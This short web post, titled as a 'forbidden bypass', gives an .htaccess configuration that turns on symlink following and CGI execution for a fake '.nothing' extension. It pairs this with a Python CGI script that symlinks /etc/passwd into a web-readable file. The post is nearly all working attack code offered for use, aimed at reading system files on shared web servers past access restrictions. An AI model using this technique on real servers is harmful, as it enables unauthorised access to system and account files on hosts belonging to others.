Symlink python forbidden bypass

.htacesss

Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .nothing

AddHandler cgi-script .nothing
AddHandler cgi-script .nothing

Forbidden.nothing

#!/usr/bin/python
print "Content-type: text/html\n\n"

import os
filename = "nothing.txt" #dst
linkto = "/etc/passwd" #source
os.symlink(linkto, filename)

Tweet Pin It